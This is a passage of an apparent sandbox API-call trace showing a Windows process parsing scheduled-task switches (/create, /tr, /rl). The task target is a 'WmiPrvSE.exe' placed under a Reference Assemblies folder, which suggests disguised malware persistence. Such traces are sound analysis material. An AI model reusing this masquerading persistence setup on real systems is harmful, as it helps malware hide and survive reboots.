[0088.364] lstrlenW (lpString="|tr|") returned 4 [0088.364] SetLastError (dwErrCode=0x490) [0088.364] lstrlenW (lpString="ru") returned 2 [0088.364] lstrlenW (lpString="ru") returned 2 [0088.364] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.364] lstrlenW (lpString="tr") returned 2 [0088.364] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.365] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|ru|") returned 4 [0088.365] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|tr|") returned 4 [0088.365] lstrlenW (lpString="|ru|") returned 4 [0088.365] lstrlenW (lpString="|tr|") returned 4 [0088.365] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0088.365] SetLastError (dwErrCode=0x490) [0088.365] lstrlenW (lpString="rp") returned 2 [0088.365] lstrlenW (lpString="rp") returned 2 [0088.365] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.365] lstrlenW (lpString="tr") returned 2 [0088.365] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.365] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|rp|") returned 4 [0088.365] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|tr|") returned 4 [0088.365] lstrlenW (lpString="|rp|") returned 4 [0088.365] lstrlenW (lpString="|tr|") returned 4 [0088.365] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0088.365] SetLastError (dwErrCode=0x490) [0088.365] lstrlenW (lpString="sc") returned 2 [0088.365] lstrlenW (lpString="sc") returned 2 [0088.365] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.365] lstrlenW (lpString="tr") returned 2 [0088.365] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.365] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|sc|") returned 4 [0088.365] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|tr|") returned 4 [0088.365] lstrlenW (lpString="|sc|") returned 4 [0088.365] lstrlenW (lpString="|tr|") returned 4 [0088.365] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0088.365] SetLastError (dwErrCode=0x490) [0088.365] lstrlenW (lpString="mo") returned 2 [0088.365] lstrlenW (lpString="mo") returned 2 [0088.365] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.366] lstrlenW (lpString="tr") returned 2 [0088.366] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.366] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|mo|") returned 4 [0088.366] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|tr|") returned 4 [0088.366] lstrlenW (lpString="|mo|") returned 4 [0088.366] lstrlenW (lpString="|tr|") returned 4 [0088.366] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0088.366] SetLastError (dwErrCode=0x490) [0088.366] lstrlenW (lpString="d") returned 1 [0088.366] lstrlenW (lpString="d") returned 1 [0088.366] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.366] lstrlenW (lpString="tr") returned 2 [0088.366] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.366] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|d|") returned 3 [0088.366] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|tr|") returned 4 [0088.366] lstrlenW (lpString="|d|") returned 3 [0088.366] lstrlenW (lpString="|tr|") returned 4 [0088.366] SetLastError (dwErrCode=0x490) [0088.366] lstrlenW (lpString="m") returned 1 [0088.366] lstrlenW (lpString="m") returned 1 [0088.366] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.366] lstrlenW (lpString="tr") returned 2 [0088.366] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.366] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|m|") returned 3 [0088.366] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|tr|") returned 4 [0088.366] lstrlenW (lpString="|m|") returned 3 [0088.366] lstrlenW (lpString="|tr|") returned 4 [0088.366] SetLastError (dwErrCode=0x490) [0088.367] lstrlenW (lpString="i") returned 1 [0088.367] lstrlenW (lpString="i") returned 1 [0088.367] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.367] lstrlenW (lpString="tr") returned 2 [0088.367] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.367] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|i|") returned 3 [0088.367] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|tr|") returned 4 [0088.367] lstrlenW (lpString="|i|") returned 3 [0088.367] lstrlenW (lpString="|tr|") returned 4 [0088.367] SetLastError (dwErrCode=0x490) [0088.367] lstrlenW (lpString="tn") returned 2 [0088.367] lstrlenW (lpString="tn") returned 2 [0088.367] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.367] lstrlenW (lpString="tr") returned 2 [0088.367] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.367] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|tn|") returned 4 [0088.367] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|tr|") returned 4 [0088.367] lstrlenW (lpString="|tn|") returned 4 [0088.367] lstrlenW (lpString="|tr|") returned 4 [0088.367] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0088.367] SetLastError (dwErrCode=0x490) [0088.367] lstrlenW (lpString="tr") returned 2 [0088.367] lstrlenW (lpString="tr") returned 2 [0088.367] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.367] lstrlenW (lpString="tr") returned 2 [0088.367] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.367] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|tr|") returned 4 [0088.367] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|tr|") returned 4 [0088.367] lstrlenW (lpString="|tr|") returned 4 [0088.367] lstrlenW (lpString="|tr|") returned 4 [0088.368] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0088.368] SetLastError (dwErrCode=0x0) [0088.368] SetLastError (dwErrCode=0x0) [0088.368] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0088.368] lstrlenW (lpString="-/") returned 2 [0088.368] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0088.368] SetLastError (dwErrCode=0x490) [0088.368] SetLastError (dwErrCode=0x490) [0088.368] SetLastError (dwErrCode=0x0) [0088.368] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0088.368] StrChrIW (lpStart="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'" [0088.368] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0088.368] _memicmp (_Buf1=0x10c470, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.368] _memicmp (_Buf1=0x10d680, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.368] SetLastError (dwErrCode=0x7a) [0088.368] SetLastError (dwErrCode=0x0) [0088.368] SetLastError (dwErrCode=0x0) [0088.368] lstrlenW (lpString="'C") returned 2 [0088.368] lstrlenW (lpString="-/") returned 2 [0088.368] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0088.368] SetLastError (dwErrCode=0x490) [0088.368] SetLastError (dwErrCode=0x490) [0088.368] SetLastError (dwErrCode=0x0) [0088.368] _memicmp (_Buf1=0x10d6e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.368] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0088.368] GetProcessHeap () returned 0xf0000 [0088.368] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10d700) returned 1 [0088.368] GetProcessHeap () returned 0xf0000 [0088.368] RtlReAllocateHeap (Heap=0xf0000, Flags=0xc, Ptr=0x10d700, Size=0x8a) returned 0x10c4b0 [0088.368] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0088.368] lstrlenW (lpString=" \x09") returned 2 [0088.368] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0088.368] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0088.368] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0088.369] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0088.369] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0088.369] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0088.369] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0088.369] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0088.369] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0088.369] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0088.369] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0088.369] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0088.369] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0088.369] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0088.369] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0088.369] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0088.369] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0088.369] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0088.369] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0088.369] StrChrW (lpStart=" \x09", wMatch=0x28) returned 0x0 [0088.369] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0088.369] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0088.369] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0088.369] StrChrW (lpStart=" \x09", wMatch=0x29) returned 0x0 [0088.369] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0088.369] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0088.369] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0088.369] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0088.369] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0088.369] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0088.369] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0088.369] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0088.369] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0088.369] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0088.369] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0088.369] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0088.369] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0088.370] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0088.370] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0088.370] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0088.370] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0088.370] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0088.370] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0088.370] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0088.370] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0088.370] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0088.370] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0088.370] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0088.370] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0088.370] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0088.370] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0088.370] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0088.370] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0088.370] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0088.370] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0088.370] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0088.370] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0088.370] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0088.370] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0088.370] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0088.370] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0088.370] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0088.370] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0088.370] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0088.370] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0088.370] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0088.370] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0088.370] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0088.370] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0088.370] GetLastError () returned 0x0 [0088.370] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0088.371] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0088.371] SetLastError (dwErrCode=0x0) [0088.371] SetLastError (dwErrCode=0x0) [0088.371] lstrlenW (lpString="/rl") returned 3 [0088.371] lstrlenW (lpString="-/") returned 2 [0088.371] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0088.371] lstrlenW (lpString="create") returned 6 [0088.371] lstrlenW (lpString="create") returned 6 [0088.371] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.371] lstrlenW (lpString="rl") returned 2 [0088.371] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.371] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|create|") returned 8 [0088.371] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|rl|") returned 4 [0088.371] lstrlenW (lpString="|create|") returned 8 [0088.371] lstrlenW (lpString="|rl|") returned 4 [0088.371] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0088.371] SetLastError (dwErrCode=0x490) [0088.371] lstrlenW (lpString="?") returned 1 [0088.371] lstrlenW (lpString="?") returned 1 [0088.371] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.371] lstrlenW (lpString="rl") returned 2 [0088.371] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.371] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|?|") returned 3 [0088.371] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|rl|") returned 4 [0088.371] lstrlenW (lpString="|?|") returned 3 [0088.371] lstrlenW (lpString="|rl|") returned 4 [0088.371] SetLastError (dwErrCode=0x490) [0088.371] lstrlenW (lpString="s") returned 1 [0088.371] lstrlenW (lpString="s") returned 1 [0088.371] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.371] lstrlenW (lpString="rl") returned 2 [0088.371] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.372] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|s|") returned 3 [0088.372] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|rl|") returned 4 [0088.372] lstrlenW (lpString="|s|") returned 3 [0088.372] lstrlenW (lpString="|rl|") returned 4 [0088.372] SetLastError (dwErrCode=0x490) [0088.372] lstrlenW (lpString="u") returned 1 [0088.372] lstrlenW (lpString="u") returned 1 [0088.372] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.372] lstrlenW (lpString="rl") returned 2 [0088.372] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.372] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|u|") returned 3 [0088.372] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|rl|") returned 4 [0088.372] lstrlenW (lpString="|u|") returned 3 [0088.372] lstrlenW (lpString="|rl|") returned 4 [0088.372] SetLastError (dwErrCode=0x490) [0088.372] lstrlenW (lpString="p") returned 1 [0088.372] lstrlenW (lpString="p") returned 1 [0088.372] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.372] lstrlenW (lpString="rl") returned 2 [0088.372] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.372] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|p|") returned 3 [0088.372] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|rl|") returned 4 [0088.372] lstrlenW (lpString="|p|") returned 3 [0088.372] lstrlenW (lpString="|rl|") returned 4 [0088.372] SetLastError (dwErrCode=0x490) [0088.373] lstrlenW (lpString="ru") returned 2 [0088.373] lstrlenW (lpString="ru") returned 2 [0088.373] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.373] lstrlenW (lpString="rl") returned 2 [0088.373] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.373] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|ru|") returned 4 [0088.373] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|rl|") returned 4 [0088.373] lstrlenW (lpString="|ru|") returned 4 [0088.373] lstrlenW (lpString="|rl|") returned 4 [0088.373] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0088.373] SetLastError (dwErrCode=0x490) [0088.373] lstrlenW (lpString="rp") returned 2 [0088.373] lstrlenW (lpString="rp") returned 2 [0088.373] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.373] lstrlenW (lpString="rl") returned 2 [0088.373] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.373] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|rp|") returned 4 [0088.373] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|rl|") returned 4 [0088.373] lstrlenW (lpString="|rp|") returned 4 [0088.373] lstrlenW (lpString="|rl|") returned 4 [0088.373] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0088.373] SetLastError (dwErrCode=0x490) [0088.373] lstrlenW (lpString="sc") returned 2 [0088.373] lstrlenW (lpString="sc") returned 2 [0088.373] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.373] lstrlenW (lpString="rl") returned 2 [0088.374] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.374] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|sc|") returned 4 [0088.374] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|rl|") returned 4 [0088.374] lstrlenW (lpString="|sc|") returned 4 [0088.374] lstrlenW (lpString="|rl|") returned 4 [0088.374] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0088.374] SetLastError (dwErrCode=0x490) [0088.374] lstrlenW (lpString="mo") returned 2 [0088.374] lstrlenW (lpString="mo") returned 2 [0088.374] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.374] lstrlenW (lpString="rl") returned 2 [0088.374] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.374] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|mo|") returned 4 [0088.374] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|rl|") returned 4 [0088.374] lstrlenW (lpString="|mo|") returned 4 [0088.374] lstrlenW (lpString="|rl|") returned 4 [0088.374] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0088.374] SetLastError (dwErrCode=0x490) [0088.374] lstrlenW (lpString="d") returned 1 [0088.374] lstrlenW (lpString="d") returned 1 [0088.374] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.374] lstrlenW (lpString="rl") returned 2 [0088.374] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.374] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|d|") returned 3 [0088.374] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|rl|") returned 4 [0088.375] lstrlenW (lpString="|d|") returned 3 [0088.375] lstrlenW (lpString="|rl|") returned 4 [0088.375] SetLastError (dwErrCode=0x490) [0088.375] lstrlenW (lpString="m") returned 1 [0088.375] lstrlenW (lpString="m") returned 1 [0088.375] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.375] lstrlenW (lpString="rl") returned 2 [0088.375] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.375] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|m|") returned 3 [0088.375] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|rl|") returned 4 [0088.375] lstrlenW (lpString="|m|") returned 3 [0088.375] lstrlenW (lpString="|rl|") returned 4 [0088.375] SetLastError (dwErrCode=0x490) [0088.375] lstrlenW (lpString="i") returned 1 [0088.375] lstrlenW (lpString="i") returned 1 [0088.375] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.375] lstrlenW (lpString="rl") returned 2 [0088.375] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.375] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|i|") returned 3 [0088.375] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|rl|") returned 4 [0088.375] lstrlenW (lpString="|i|") returned 3 [0088.375] lstrlenW (lpString="|rl|") returned 4 [0088.375] SetLastError (dwErrCode=0x490) [0088.375] lstrlenW (lpString="tn") returned 2 [0088.375] lstrlenW (lpString="tn") returned 2 [0088.375] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.376] lstrlenW (lpString="rl") returned 2 [0088.376] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.376] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|tn|") returned 4 [0088.376] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|rl|") returned 4 [0088.376] lstrlenW (lpString="|tn|") returned 4 [0088.376] lstrlenW (lpString="|rl|") returned 4 [0088.376] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0088.376] SetLastError (dwErrCode=0x490) [0088.376] lstrlenW (lpString="tr") returned 2 [0088.376] lstrlenW (lpString="tr") returned 2 [0088.376] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.376] lstrlenW (lpString="rl") returned 2 [0088.376] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.376] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|tr|") returned 4 [0088.376] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|rl|") returned 4 [0088.376] lstrlenW (lpString="|tr|") returned 4 [0088.376] lstrlenW (lpString="|rl|") returned 4 [0088.376] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0088.376] SetLastError (dwErrCode=0x490) [0088.376] lstrlenW (lpString="st") returned 2 [0088.376] lstrlenW (lpString="st") returned 2 [0088.376] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.376] lstrlenW (lpString="rl") returned 2 [0088.376] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.376] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|st|") returned 4 [0088.376] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|rl|") returned 4 [0088.377] lstrlenW (lpString="|st|") returned 4 [0088.377] lstrlenW (lpString="|rl|") returned 4 [0088.377] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0088.377] SetLastError (dwErrCode=0x490) [0088.377] lstrlenW (lpString="sd") returned 2 [0088.377] lstrlenW (lpString="sd") returned 2 [0088.377] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.377] lstrlenW (lpString="rl") returned 2 [0088.377] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.377] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|sd|") returned 4 [0088.377] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | 